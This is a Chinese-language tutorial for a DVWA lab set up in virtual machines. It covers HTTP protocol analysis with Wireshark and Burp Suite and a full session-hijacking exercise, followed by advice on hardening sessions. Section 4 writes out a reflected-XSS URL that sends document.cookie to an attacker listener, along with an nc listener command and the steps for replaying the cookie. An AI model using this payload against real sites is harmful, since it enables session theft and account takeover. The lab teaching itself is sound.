1. 实验环境搭建为什么我坚持用虚拟机加快照方案做Web应用安全实验第一道坎往往不是实验本身而是环境。很多初学者上来就问用什么工具跑什么脚本结果折腾半天连抓包都抓不到更别提分析协议和做会话劫持了。其实一次Web应用安全基础实验能不能顺利跑通百分之六十取决于环境搭得对不对。我在带的几轮实验里踩过不少环境的坑。先说结论本地实验环境我推荐虚拟机方案具体是攻击机和靶机双虚拟机加上Burp Suite作为代理抓包工具Wireshark作为底层协议分析工具。这套组合重量适中适合入门也足够支撑到中高级实验。1.1 双虚拟机模型与快照策略所谓双虚拟机简单说就是一台Kali Linux作为攻击机一台Ubuntu Server或带桌面的Ubuntu作为靶机靶机上运行存在漏洞的Web应用。为什么用两台虚拟机而不是一台搞定因为实验过程里你要模拟真实的攻击路径攻击机发送恶意请求靶机返回响应。两台虚拟机之间通过网络通信才能完整看到数据包的流转也才能做后续的网络层协议分析。如果所有组件都在一台机器上很多包是走回环接口的抓包时看到的内容会被简化对理解协议反而不利。快照策略是这里面的关键。我强烈建议在搭建完靶机环境后立刻给虚拟机打一个快照。原因很直接会话劫持、XSS注入这类实验非常容易把靶机环境搞乱比如你往数据库里塞了脏数据或者改了某个配置文件导致服务起不来。没有快照的话就得从头搭一遍环境那种挫败感我体会过不止一次。有了快照实验做完一条命令恢复到干净状态下一组实验直接继续。具体到虚拟机软件我用的是VMware Workstation ProVirtualBox也完全够用。两者的区别在于VMware对网络模式的模拟更细致一些特别是在自定义网段、做双机互联时操作更顺手。网络模式建议选NAT或自定义仅主机模式我习惯用仅主机模式理由是攻击机和靶机在一个隔离的网段里避免实验流量跑到外部网络去——一方面是安全考虑另一方面也方便抓包不会有乱七八糟的背景流量干扰分析。1.2 靶场选择DVWA还是OWASP Juice Shop靶机上的Web应用我推荐从DVWA入手也就是Damn Vulnerable Web Application。DVWA是一个老牌的PHP漏洞靶场里面集成了SQL注入、XSS、文件上传、CSRF等常见漏洞场景。它的好处是每个漏洞模块都是独立的配置简单运行轻量非常适合做基础实验。进阶之后可以换OWASP Juice Shop那是Node.js写的现代靶场漏洞场景更贴近真实业务但对新人来说信息量偏大容易淹没在细节里。DVWA的安装其实不复杂环境是LAMP或LNMP都行。我用的是Ubuntu 22.04加Apache加PHP 7.4和MySQL。装好之后把DVWA的压缩包解压到网站目录配置数据库访问安装页面按向导走完就行。有一个细节要注意DVWA会生成一个config/config.inc.php文件里面包含数据库连接信息。默认配置下数据库用户名是root密码是空如果你本机MySQL设置了密码记得改这个文件否则会卡在安装步骤。DVWA的安全等级分四个档位Low、Medium、High、Impossible。做基础实验时第一遍请用Low目的是理解漏洞存在的原因不要一上来就挑战High。我在实验里见过太多人把等级调成High然后抓不到会话固定或XSS的利用点最后卡住。实验的目的是掌握原理不是炫耀难度。1.3 代理抓包与协议分析的配备Burp Suite和Wireshark的分工很多人分不清Burp Suite和Wireshark的职责边界这会导致一个奇怪的局面开了Wireshark看到满屏乱七八糟的TCP包却找不到HTTP请求在哪儿或者开了Burp却看不到底层网络协议信息。其实两者的分工非常清晰Burp Suite是应用层代理负责截获、修改、重放HTTP/HTTPS请求它能看到完整的请求行、请求头、Cookie、请求体并且可以随意改包。Wireshark是网络层协议分析器负责查看TCP三次握手、IP分片、ARP请求、TLS握手等底层交互。在一次会话劫持实验里正确的使用路径是这样的攻击机浏览器配置代理指向Burp Suite默认127.0.0.1:8080Burp把请求转发给靶机同时Wireshark在虚拟网卡上监听这段流量。这样你既能在Wireshark里看到数据包的完整物理链路又能在Burp里看到HTTP层的具体内容。两层信息对照着看协议就活了。注意Burp Suite的默认监听地址是127.0.0.1:8080但如果你想让靶机上的流量也走攻击机的Burp需要把监听地址改成0.0.0.0:8080同时靶机浏览器设置代理指向攻击机的IP。这个细节很容易被忽略。2. 协议分析实验从TCP三次握手到HTTP报文的完整链路协议分析是整个实验里最无聊但最有价值的部分。多数人学HTTP只知道有GET、POST但拿到真实报文时反而认不出每一行的意义。所以这个实验的设计思路是先抓一段正常的HTTP请求然后把报文逐行拆给你看。2.1 连接建立TCP三次握手在抓包里的样子当你访问靶机上的DVWA首页时Wireshark里会出现一组规律非常明显的包客户端发一个SYN服务器回SYNACK客户端再发ACK。这就是三次握手。这三步在Wireshark里通常被标记为包号连续的三个条目用不同的背景色显示。我让学员做的第一个动作不是直接看HTTP层而是先找这一段三次握手。为什么因为三次握手决定了后续所有HTTP数据包能否正常传输。你观察几个参数客户端的初始序列号Sequence Number和确认号Acknowledgment Number是如何递增的窗口大小Window Size如何协商。序列号这个东西在后续会话劫持的变种攻击里可以利用——如果攻击者能猜到一个TCP连接的序列号理论上可以伪造数据包。虽然现代系统大多是随机化初始序列号但理解这个机制仍然重要。真实抓包中你会看到HTTP请求往往在第4个包或第5个包出现也就是三次握手完成之后的第一个应用层数据包。客户端发GET服务器回200 OK然后一个RST或FIN结束连接。这个顺序是固定的你掌握了规律后以后看任何抓包文件都能一眼定位关键内容。2.2 HTTP请求报文逐行拆解在Burp Suite的HTTP History里选中那条GET请求你会看到以下内容我用一个实际例子展示GET /DVWA/login.php HTTP/1.1 Host: 192.168.56.10 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) ... Accept: text/html,application/xhtmlxml,... Accept-Language: zh-CN,zh;q0.9,en;q0.8 Accept-Encoding: gzip, deflate Connection: keep-alive Cookie: PHPSESSIDabcd1234efgh5678ijkl第一行是请求行由方法、路径、协议版本三段构成。这里有一个很多人不理解的细节路径为什么是/DVWA/login.php而不是http://192.168.56.10/DVWA/login.php因为HTTP协议本身就是逐段的Host字段单独承担了域名和端口信息路径里的斜杠是相对于网站根目录的。设计成这样是为了支持虚拟主机即一个IP上跑多个域名。接下来看请求头。最基本的四个头是User-Agent、Accept、Accept-Language、Connection。User-Agent告诉服务器客户端的浏览器和操作系统这是协议分析里最容易做手脚的部分——后续实验里你会发现很多Web应用的基础防护就是看User-Agent里的关键词比如检测是不是SQLMap的UA所以攻击者往往会伪造UA。再往下是Cookie。这里看到的是PHPSESSIDPHP默认的会话Cookie名。你注意它的格式是一串32位的十六进制字符这就是下一节要深入研究的会话标识符。Cookie在请求头里是明文存在的——除非你的站点启用了HTTPS。明文意味着当流量经过网络时任何在链路节点上抓包的人都能看到这个Cookie的值。这就为会话劫持埋下了伏笔。2.3 响应报文与状态码的语义再看响应Burp里看到的内容结构类似HTTP/1.1 200 OK Date: Mon, 10 Jun 2024 08:30:00 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Set-Cookie: PHPSESSIDabcd1234efgh5678ijkl; path/ Content-Type: text/html;charsetutf-8响应行、响应头、空行、响应体结构上是固定的。状态码这块我建议记几个最常见的200表示成功302表示临时重定向400表示请求语法错误401表示未认证403表示禁止访问404是资源不存在500是服务器内部错误503是服务不可用。做会话劫持实验时302出现得很频繁——因为很多页面会检查登录状态未登录就重定向到登录页。你重放一个带有合法Cookie的请求时如果返回200而不是302说明你伪造的会话被服务器认可了。这是判断攻击是否成功最直观的标准。还有一个值得注意的响应头Set-Cookie。这个头的存在意味着服务器要求浏览器保存一个Cookie。仔细看Set-Cookie里还带着path/它声明了这个Cookie在哪个路径下生效。如果你在抓包时看到两个不同的Set-Cookie头同一时间出现通常表示服务器在这个请求里既更新了会话ID又设置了一个业务相关的Cookie。实验里要区分清楚这两个的作用。3. 会话机制拆解服务器到底怎么记住你的登录状态从协议分析过渡到会话劫持中间必须搞清楚一个核心概念服务器是无状态的HTTP协议凭什么知道当前这个请求是已经登录的用户发来的答案就是Session与Cookie的配合。简单粗暴地理解Cookie是你口袋里的一张入场券入场券上印着一个编号这个编号就是Session ID。服务器那边有一本花名册每个编号对应一个用户的具体信息——登录状态、用户名、角色权限等等。你每次请求时把入场券给门卫看门卫拿编号去查花名册确认你的身份然后放你进门或者把你赶出去。3.1 Session ID的生成与存储策略在PHP默认配置下Session ID是一个32位的十六进制随机字符串由session.hash_function和session.entropy_file等配置项决定生成算法。它保存在服务器端的文件里默认位置在/var/lib/php/sessions文件名就叫sess_加上Session ID。你可以直接在靶机上打开这个目录看到一堆文件每个文件对应一个在线会话。文件内容就是用户的会话数据比如username|s:5:admin;role|s:5:admin;结构上是PHP序列化后的数据。这里的重点在于服务器的Session ID与用户的登录状态绑定但你作为远程攻击者是看不到服务器端文件的。你能看到的只有Cookie里的那个Session ID。会话劫持的全部思路就是想办法拿到一个已登录用户的Session ID然后用它伪造请求。3.2 Cookie的属性和传递路径Cookie本身有一些属性直接影响安全性。实验里必须逐项检查属性作用安全影响HttpOnly禁止JavaScript读取Cookie缺这个标志XSS窃取Cookie很容易Secure仅在有HTTPS加密连接时传输Cookie缺这个标志HTTP明文流量可能泄露CookieSameSite控制跨站请求是否携带Cookie缺这个属性CSRF攻击风险大增Path限定Cookie生效路径设置过宽如/会让Cookie在任意页面生效Expires/Max-Age控制Cookie有效期持久Cookie比会话Cookie更危险在DVWA的默认配置里PHP通常会设置HttpOnly为关闭状态这意味着浏览器端的脚本document.cookie可以直接读取到这个值。所以你一旦在页面里找到了一个反射型XSS漏洞就可以通过JS脚本把Cookie值发送到攻击者控制的服务器。这就是后面实验的主线。Cookie在HTTP层面的传递路径你也要熟浏览器每次向同一个域名发起请求会自动在请求头里带上对该域名有效且未过期的Cookie。这就意味着即使某个请求本身和登录业务无关Cookie也会跟着走。后面我们做会话重放实验时就是要利用浏览器自动带Cookie这个机制只不过把浏览器换成了我们的攻击工具。3.3 会话劫持的三种典型攻击面在基础实验里会话劫持的攻击面主要有三类我建议实验者分步理解第一类是网络嗅探。如果站点用HTTP明文传输你可以在链路上部署Wireshark或ettercap直接看到携带PHPSESSID的请求。这种情况在局域网内非常现实。实验里我们可以用VLAN隔离一个攻击机-靶机的环境在攻击机上做ARP欺骗让靶机的流量经过攻击机网卡然后在流量里直接搜PHPSESSID关键字。这个思路在真实网络中同样可以复现民虽然现代站点大多启用HTTPS但仍有很多内网业务系统跑在HTTP上。第二类是XSS窃取。通过注入一段JavaScript把document.cookie的值通过一个请求发送到攻击者服务器。这个攻击链路的优势是跨站获取不受网络位置限制只要能诱导受害者浏览恶意页面就行。第三类是会话固定。攻击者先自己获取一个合法的Session ID然后诱导受害者使用这个ID完成登录。受害者登录成功后由于服务器端的Session记录被更新成受害者的账户信息而Cookie的值还是攻击者给的那个攻击者拿着这个ID就可以冒充受害者。做这个实验时你要在DVWA登录成功前后各看一次Cookie值和服务器端session文件内容的变化对比一下就知道固定攻击的原理了。4. 会话劫持实验全流程从窃取到重放的完整攻击链路前面把理论基础部分走完了现在进入真正的实验环节。我以一个完整的会话劫持实验为例把从攻击准备到利用成功的整条链路拆开来讲。这里用的都是DVWA靶场里的漏洞场景全部行为发生在授权实验环境中生产环境下不要直接套用。4.1 攻击前的准备工作首先确认实验环境状态。靶机上的DVWA安全等级设为LowPHP的session.cookie_httponly设为Off默认就是Off。攻击机准备两个工具Burp Suite和Firefox浏览器配好代理。另外起一个极简HTTP监听服务可以用Python的http.server也可以直接用Netcat监听端口比如nc -lvnp 8888用来接收被窃取的Cookie。还有一个准备步骤注册并登录两个DVWA账号一个叫admin用于被攻击另一个叫attacker用于在攻击后以普通账号身份重放admin的会话。两个账号的区别会让实验结果非常直观。我在实际带实验时见过有人漏掉这一步后面验证时根本分不清自己是否成功——因为所有人都用同一个账号来回切看不出会话切换的效果。所以这一步不要省。4.2 用反射型XSS窃取Cookie的完整链路DVWA在Low等级下自带一个反射型XSS漏洞在/DVWA/vulnerabilities/xss_r/页面。这个页面的name参数直接拼接到HTML里并且未做过滤。你输入一个普通字符串它会在页面原样显示输入一段HTML浏览器会执行。攻击URL构造如下http://192.168.56.10/DVWA/vulnerabilities/xss_r/?namescriptnew Image().srchttp://192.168.56.20:8888/?cdocument.cookie/script这段代码的原理浏览器加载恶意URL后页面里的JavaScript创建一个新的Image对象然后把document.cookie的内容拼接到一个向攻击机IP发起的图片请求URL里。为什么用new Image().src而不是fetch或XMLHttpRequest因为图片请求天然可以跨域不需要处理CORS而且即使请求失败页面也不会报错非常隐蔽。在Burp的History里你能看到两个请求一个是xss_r页面的GET里面带着被编码的脚本另一个是向攻击机8888端口发起的图片请求请求路径的c参数里就是Cookie明文值。提交给浏览器的载荷有个细节要注意name参数中的script标签会被浏览器解析但Burp发送的是URL编码后的内容编码过程用Burp自带的CtrlU功能即可。攻击端Netcat监听窗口会收到类似这样的数据GET /?cPHPSESSIDabcdef1234567890abcdef1234567890 HTTP/1.1 200 -注意PHPSESSIDabcdef...这段这就是受害者的会话凭证后面一步就要用它。4.3 用Burp Suite重放伪造会话拿到Cookie后接下来验证它能不能有效冒充受害者身份。把Burp Suite的拦截功能关闭随便发一个访问DVWA后台或受保护页面的请求在Burp的Intercept或Repeater里手动把Cookie值改成刚才窃取到的PHPSESSID。我推荐用Repeater来做这个实验。流程如下在Burp的HTTP History里找到任意一个请求/DVWA/index.php的GET请求。右键Send to Repeater。在Repeater里把请求头的Cookie字段改成PHPSESSIDabcdef1234567890abcdef1234567890。发送请求观察返回状态和页面内容。对比两个结果一个是未修改Cookie时返回的302或登录页另一个是修改后返回的200和已登录页面。如果返回的页面里出现Welcome to Damn Vulnerable Web Application且没有重定向回login.php说明服务器认定了这个伪造的会话你的劫持链路打通了。这里有个容易让人迷惑的地方如果你使用的浏览器当前本来就有自己的会话CookieBurp发出的请求头里会自动带上那个真实Cookie。所以务必明确改的是哪一段。为了防止干扰我可以再开一个无痕窗口或单独装一个Firefox Profile让Burp请求不带干扰Cookie。4.4 实验记录与判定成功的关键指标完整的会话劫持实验需要做记录将来写实验报告或复盘都方便。我建议按这个表格记录关键字段实验阶段观察点预期结果正常登录响应头Set-Cookie、服务器session文件出现合法的PHPSESSIDsession文件记录用户名XSS注入攻击机监听端口收到的数据收到目标Cookie值Cookie重放修改Cookie后重放请求返回200页面显示已登录状态退出验证服务端删除session文件后重放返回302到登录页说明服务端已失效该会话在验证成功之后回到靶机上删掉/var/lib/php/sessions/下对应的session文件再重放一次请求。观察服务器是否仍然认可这个Cookie。这一步可以直观理解服务端控制会话生命周期的特性——会话劫持的有效性取决于服务端的会话文件是否还存在。5. 踩坑记录与加固方案的思考方向实验做完只是一半另一半是把防御视角补上。下面几条是我在实验和带实验过程中反复遇到的坑以及从攻击反推防御的实操经验。5.1 抓不到Cookie的几个常见原因第一个坑代理配置错误。Firefox里配置了Burp代理但忘了装CA证书导致HTTPS页面加载失败请求根本没发出去。这个问题在访问HTTP站点时不存在但一旦访问HTTPS就会遇到。第二个坑XSS载荷被执行了但Cookie值没收到。原因通常是浏览器对Cookie设置了HttpOnly。如果是这个情况你在浏览器控制台输入document.cookie会发现它返回空字符串或只返回其他非HttpOnly Cookie。要确定这一点可以手动触发一次请求在Burp里看真实请求头里的Cookie值——如果请求里有Cookie但脚本读不到说明HttpOnly生效了。第三个坑结果收到了但看不出内容是Cookie。Netcat监听收到的内容可能夹杂二进制数据或大量请求记录。建议在监听命令里加上-q 1选项让Netcat等一秒就退出或者用Python写一个十行的HTTPServer脚本把请求路径打印得干净一些。第四个坑非常隐蔽DVWA的XSS等级为Low时输入框对script标签是可以直接解析的。但如果你把URL直接粘贴到浏览器地址栏浏览器会做一次编码转换导致某些情况下号变成空格破坏载荷。正确做法是把完整URL作为一个参数在Burp里发送。5.2 从攻击链反推的会话安全加固要点刚做完攻击实验紧接着就应该问自己一个关键问题如果我是运维方要怎么让对方这套链路失效答案其实分散在几个配置项里我按优先级排序说明第一优先给会话Cookie加上HttpOnly和Secure标志。PHP里可以通过session.cookie_httponly1和session.cookie_secure1设置。前者直接封死XSS窃取Cookie的路径后者强制Cookie只在HTTPS传输避免明文嗅探。这个配置在真实生产环境几乎是必须的操作。第二优先给所有Cookie加上SameSiteLax或Strict。同样在PHP配置里设置session.cookie_samesiteLax。这个属性可以阻止部分跨站请求自动携带Cookie虽然它不是专门防御会话劫持的但能大幅减少CSRF和跨站请求重放的风险面。第三优先缩短会话失效时间。把session.gc_maxlifetime从默认的1440秒24分钟调短到300秒甚至更短。这会让攻击者即使拿到Cookie可用的时间窗口也大幅压缩。注意这会牺牲用户体验所以生产上往往配合记住我之类的持久登录机制来平衡。第四优先检测和阻断异常会话异常。比如比较用户IP地址或User-Agent如果Cookie对应的IP和UA发生变化触发二次验证或直接踢出会话。这个方法效果很好但容易误伤——一个用户从家里切到移动网络就可能触发所以一般作为风险提示而非硬性拦截。5.3 扩展到CSRF攻击和更多Web安全实验做完会话劫持实验后下一步很自然的是做CSRF跨站请求伪造实验。两者的关系耐人寻味会话劫持是利用窃取到的会话凭证冒充用户而CSRF是诱导用户在不知情的情况下用他们自己的会话凭证提交恶意请求。前者是盗了钥匙后者是借了正在用钥匙的人的手。CSRF实验思路非常简单在DVWA的csrf页面里正常情况下修改密码需要一个旧密码字段确认。你可以构造一个页面自动向修改密码的URL发起POST请求——如果DVWA没有校验Referer、没有Token、Cookie又允许跨站携带那么受害者只要访问了这个恶意页面密码就被改了而他自己可能还毫无察觉。另一个方向是结合Burp Suite的Session Handling规则来做自动化会话保持。这个技巧在做更复杂的漏洞利用时很实用有些漏洞利用过程需要保持登录态但服务端的会话过期时间很短你可以在Burp里定义会话规则让它自动从响应中提取新的Cookie值并替换到后续请求中。听起来复杂实际操作就是把Response里的Set-Cookie值和后面Request里的Cookie绑定做一个正则提取。写在最后的一点个人看法Web应用安全涉及的知识面很广环境搭建、协议分析、会话劫持这条路走下来其实已经把HTTP协议、Web服务运行机制和攻击面理解连成了一条线。我自己当年在做这类实验时最大的收获不是学会攻击而是搞清楚了一个页面请求从浏览器发出后经过了哪些人的手每一层上可以做哪些改动哪些改动会让服务端无法察觉到。这些认知之后做任何真实的Web开发、漏洞排查或安全测试都用得上。不管你是以开发者的身份想给业务系统补上安全短板还是以测试者的身份学习漏洞原理都建议先把这套基础实验完整跑一遍。条件允许的话做完会话劫持后再做一次CSRF和一次SQL注入你会发现Web安全里许多高级攻击手法本质上都是在这些基础机制叠加不同层级的绕过技巧。地基打得越扎实后面分析复杂漏洞就越有底气。